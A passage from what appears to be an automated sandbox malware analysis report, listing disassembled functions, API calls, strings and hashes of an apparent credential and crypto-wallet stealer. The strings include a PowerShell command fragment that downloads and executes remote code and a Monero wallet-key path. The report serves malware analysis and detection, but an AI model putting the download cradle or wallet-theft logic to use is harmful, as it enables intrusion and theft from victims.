RegQueryValueExA.ADVAPI32(?,0111E3F8,00000000,00000000,00000000,000000FF), ref: 00624118
RegCloseKey.ADVAPI32(?), ref: 00624122
lstrcat.KERNEL32(?,00000000), ref: 00624147
lstrcat.KERNEL32(?,0111E3C8), ref: 0062415B

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 36a515a2010c17e80265d65de5e3810e29c8d5eaaf01edbd98a46ccd68b50d1b
Instruction ID: 834dbc5d1d89e0981bfa3fc91688b455700f4e2e6a3cced963cf4effcfe6001b
Opcode Fuzzy Hash: 36a515a2010c17e80265d65de5e3810e29c8d5eaaf01edbd98a46ccd68b50d1b
Instruction Fuzzy Hash: 2141A9B6D002186BDB18EBA0EC96FFD773EBB4C300F00455CB71657181EA795B888B92

Function 006199C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006199EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00619A11
LocalAlloc.KERNEL32(00000040,?), ref: 00619A31
ReadFile.KERNEL32(000000FF,?,00000000,0061148F,00000000), ref: 00619A5A
LocalFree.KERNEL32(0061148F), ref: 00619A90
CloseHandle.KERNEL32(000000FF), ref: 00619A9A

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: ec490600a25d0e92bd36a6e9f1445f88033a35be7301637fb12755a3a1317554
Instruction ID: 67387405b91db84c86c015f0eb80463741770d56d8719a20cb84cc463b5db923
Opcode Fuzzy Hash: ec490600a25d0e92bd36a6e9f1445f88033a35be7301637fb12755a3a1317554
Instruction Fuzzy Hash: B83128B4A00209EFDB14CF94D895BEE7BB6FF48301F108158E911A7390D779AA85CFA1

Function 0062C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0062C8BF
___crtGetStringTypeA.LIBCMT ref: 0062C8EC
___crtLCMapStringA.LIBCMT ref: 0062C90C
___crtLCMapStringA.LIBCMT ref: 0062C931

Strings

, xrefs: 0062C896

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 4560d17a78e46be9d9d12481ec778be5b864762e71ec98b4c0f6b833c78d5f16
Instruction ID: 9b187b4b14c691682300a9dca9336d96062e0961a0b05b62625f389a72569fc0
Opcode Fuzzy Hash: 4560d17a78e46be9d9d12481ec778be5b864762e71ec98b4c0f6b833c78d5f16
Instruction Fuzzy Hash: 504125B1500BAC5EDB218B249C84FFFBBEA9F05714F1444ECE98A86182D2719A859F64

Function 00624780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0111E1B8), ref: 006247DB

Part of subcall function 00628DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00628E0B

lstrcat.KERNEL32(?,00000000), ref: 00624801
lstrcat.KERNEL32(?,?), ref: 00624820
lstrcat.KERNEL32(?,?), ref: 00624834
lstrcat.KERNEL32(?,0110B9F0), ref: 00624847
lstrcat.KERNEL32(?,?), ref: 0062485B
lstrcat.KERNEL32(?,0111DCC0), ref: 0062486F

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 00628D90: GetFileAttributesA.KERNEL32(00000000,?,00611B54,?,?,0063564C,?,?,00630E1F), ref: 00628D9F

Part of subcall function 00624570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00624580
Part of subcall function 00624570: RtlAllocateHeap.NTDLL(00000000), ref: 00624587
Part of subcall function 00624570: wsprintfA.USER32 ref: 006245A6
Part of subcall function 00624570: FindFirstFileA.KERNEL32(?,?), ref: 006245BD

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 55899364d546cda08677f5daa98b0f29418202c041b946a7d89204fe5bb8b514
Instruction ID: 5711b3852efc0205b402a5e2a0a0de1d8a579913244eeed17ebee4084efaf9e3
Opcode Fuzzy Hash: 55899364d546cda08677f5daa98b0f29418202c041b946a7d89204fe5bb8b514
Instruction Fuzzy Hash: 583160B29003186BCB54FBA0EC86EED7379BB48700F40459DB31996081EE7496C98F99

Function 00622C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

ShellExecuteEx.SHELL32(0000003C), ref: 00622D85

Strings

<, xrefs: 00622D39
')", xrefs: 00622CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00622D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00622CC4

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: d2c6c227b6d2a05191401b8d7ce0c54e231b19f676802a418b8ba729c6530a1b
Instruction ID: 6a12e08db6a697900017118d671f77bbe0a88806f397dd09b56be44578f3b9a4
Opcode Fuzzy Hash: d2c6c227b6d2a05191401b8d7ce0c54e231b19f676802a418b8ba729c6530a1b
Instruction Fuzzy Hash: AD41CD71D106189BDB54EBE0E892BDDBB76AF14300F40411DE006A7191DFB46A8ACF9A

Function 00619E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00619F41

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Strings

@, xrefs: 00619EF1
v20, xrefs: 00619E21
ERROR_RUN_EXTRACTOR, xrefs: 00619E67
v10, xrefs: 00619EA3

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 068be4b6e0b5c29062270f3d4763d29ce3147848f166f640f0fc210196a9e233
Instruction ID: bf8320a8d6c513d966d7557860b4979170e3576ce27b408e036934567644a9ca
Opcode Fuzzy Hash: 068be4b6e0b5c29062270f3d4763d29ce3147848f166f640f0fc210196a9e233
Instruction Fuzzy Hash: F3615F70A00258ABDB64EFA4DC96FED7776AF45304F048018F90A5F181EBB46A46CB96

Function 006270D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

memset.MSVCRT ref: 0062716A

Strings

sb, xrefs: 006272AE, 00627179, 0062717C
sb, xrefs: 00627111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0062718C

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: sb$sb$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-3334931456
Opcode ID: ad23d17b63413c828a358a4f13c4fcf7f3597f919f95f48500d70892adfce2ee
Instruction ID: 1e2f94d168b2210a52793d2b5d448fc32dba647d028fa9a4df3ab23d70b84ff8
Opcode Fuzzy Hash: ad23d17b63413c828a358a4f13c4fcf7f3597f919f95f48500d70892adfce2ee
Instruction Fuzzy Hash: 5E516EB0D04628DBDB64EB90EC95FEEB376AF54304F2440ACE50566281EB746E88CF59

Function 00627E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00627E37
RtlAllocateHeap.NTDLL(00000000), ref: 00627E3E
RegOpenKeyExA.ADVAPI32(80000002,0110C320,00000000,00020119,?), ref: 00627E5E
RegQueryValueExA.ADVAPI32(?,0111DC80,00000000,00000000,000000FF,000000FF), ref: 00627E7F
RegCloseKey.ADVAPI32(?), ref: 00627E92

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 63b4f0838f16e9afe5089529017587582f216d28de1a8e6e4a619e17fb49d990
Instruction ID: ca45c3fe0ea9eabc3ceeaaad92b1a28fe63b3528decb24f8aaaff76b66b51ecf
Opcode Fuzzy Hash: 63b4f0838f16e9afe5089529017587582f216d28de1a8e6e4a619e17fb49d990
Instruction Fuzzy Hash: D01151B1A44705EBD704CF94ED89FBBBBB9FB08712F104259F605A7290D77858018FA1

Function 00629260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0111DF48,?,?,?,0062140C,?,0111DF48,00000000), ref: 0062926C
lstrcpyn.KERNEL32(0085AB88,0111DF48,0111DF48,?,0062140C,?,0111DF48), ref: 00629290
lstrlen.KERNEL32(?,?,0062140C,?,0111DF48), ref: 006292A7
wsprintfA.USER32 ref: 006292C7

Strings

%s%s, xrefs: 006292B5

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 8b5e3bda8f250cf9306b568113c28155fb3cf6d756dc157036502434961d3efa
Instruction ID: 2e52ee098eba0c63bca8ac7d452adb84ee4fe77ce6c3c30d506bc4836cc67150
Opcode Fuzzy Hash: 8b5e3bda8f250cf9306b568113c28155fb3cf6d756dc157036502434961d3efa
Instruction Fuzzy Hash: D301AD75900209FFCB08DFD8D994DAD7BB9FB48355F108248F90997204C6359A44DBE2

Function 006112A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006112B4
RtlAllocateHeap.NTDLL(00000000), ref: 006112BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006112D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006112F5
RegCloseKey.ADVAPI32(?), ref: 006112FF

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 9f3208642e1c652686511f0477f1520c9bb18349b29fbb77d6351d0e7d494cfc
Instruction ID: 6c9526ac31729a9a9de378b8a050e671b0637dc9714c64fc4b2c83acde73f620
Opcode Fuzzy Hash: 9f3208642e1c652686511f0477f1520c9bb18349b29fbb77d6351d0e7d494cfc
Instruction Fuzzy Hash: 830112B5A40308BBDB04DFD0DC89FAEB7B8FB48702F008155FA0597280D6759A418B51

Function 00626630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00626663

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

ShellExecuteEx.SHELL32(0000003C), ref: 00626726
ExitProcess.KERNEL32 ref: 00626755

Strings

<, xrefs: 006266D9

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
